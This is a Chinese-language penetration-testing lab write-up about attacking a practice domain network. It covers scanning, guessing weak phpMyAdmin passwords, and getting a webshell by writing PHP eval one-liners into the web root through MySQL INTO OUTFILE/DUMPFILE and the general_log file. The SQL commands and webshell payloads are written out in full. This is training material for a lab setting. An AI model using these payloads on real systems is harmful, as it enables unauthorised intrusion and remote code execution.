目录
MSF 利用MSF小记 | 命令 (lmlphp.com):
前言:
仅记录学习过程,期间也会借鉴其他师傅的文章
靶场环境搭建的话,可以参考其他师傅。
我的环境:
kali (攻击机):192.168.92.129
Windows 7 (web服务器):192.168.92.128(外网和kali连通)、192.168.52.143(内网)
Windows 2008 (域控):192.168.52.138
Win2k3 (域管):192.168.52.141
信息收集:
因为web 网页是起来了,如果我们不知道对方的环境,借此,我们可以对这个网站进行扫描。
看到80端口起了HTTP服务, 3306端口起了 mysql
访问一下此 IP 的80 端口。
是一个phpinfo() 针探页面 ,以这个网址为根目录,再扫描一下其他路径。工具挺多,得看字典了。我使用的 dirsearch
扫到了 phpinfo.php 还有一个phpmyadmin 后台,这里应该还有一个beifen.rar,字典不够强
访问phpmyadmin 好像是要我们弱口令登录,如果是公共机的话,一般都会存在弱口令的,这里试下admin admin root root admin 123456 等弱口令,试出来是root root 如果实在是不行,可以用bp爆破。
拿到 pgpmyadmin 后 ,接下来就要用phpmyadmin 去getshell 。
phpmyadmin getshell
一、 into outfile 和into dumpfile 写马
这两个可以写马,但是有区别的,一个可以写多行,另一个只能写一行,具体不清楚,并且他们使用的时候需要条件,就是配置文件中的 secure_file_prive 这个值是需要要求的。
我们可以查看一下secure_file_prive 值:
show variables like "%secure_file%";
into写入文件:
使用需看要secure_file_priv的值。
当value为“null”时,不允许写入或者读取
当value为“空”时,允许读取任意文件
当value为"/tmp"时,只允许在/tmp目录中写入和读取
value可也已设置为其他路径。
这里 show variables like "secure_file_prive%" 查询的结果为空,就行不通了。
看到这里的值为NULL 所以是 不允许写入或者读取文件。
ps 如果想要通过into 写入文件:
修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf
如果我们可以利用写写文件的命令时,我们需要知道当前目录的情况,这需要一个查询当前目录的指令:
select @@basedir
知道当前目录情况,直接写马就好了
然后通过执行select ‘<?php eval($_POST[cmd]);?>’ into outfile ‘C:/phpStudy/www/shell.php’;将木马写入到网站的根目录。
select 1,'<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/test.php'#
select 1,'<?php eval($_POST[cmd]);?>' INTO dumpfile '/var/www/html/test.php'#
#区别在于使用outfile时,文件中一行的末尾会自动换行
写入失败。通过查询得知这里不能使用into outfile的方式写入shell。
可以通过执行“show variables like ‘%secure_file%’;”查询下是否能直接写入shell。这里secure_file_priv的值为NULL,说明不能使用into outfile的方式写入shell。
日志写shell
应该是用的最多的一个姿势了,因为日志的文件名可控,而且 写入的位置也可控。
查看日志状态:
show variables like ‘%general%’;
general_log 和general_log_file 的简述:
- mysql打开general_log 开关后,所有对数据库的操作都将记录在general_log_file指定的文件目录中 以原始的状态来显示,如果将general_log开关打开,general_log_file 指定一个php 文件,则查询的操作 将会全部写入到 general_log_file 指定的文件,可以通过访问 general_log_file 指定的文件来获取 webshell。
上面看到 general_log 的value是off 我们需要手动开启。
set global general_log = "ON"; //开启记录查询操作
set global general_log_file=‘C:/phpStudy/www/1.php’,指定日志写入到网站根目录的 1.php 文件.
成功修改选项。 指定日志会写入到网站根目录的 1.php文件里。
也就是说,我们执行查询语句,他会把操作的内容写入到1.php 里面,所以我们执行
select '<?php eval($_POST[a]);?>'
访问 1.php
有报错,说明确实是写进去了。windows10 用蚁剑连一下。
成功连接。看到有个beifen,其中是yxcms的源码。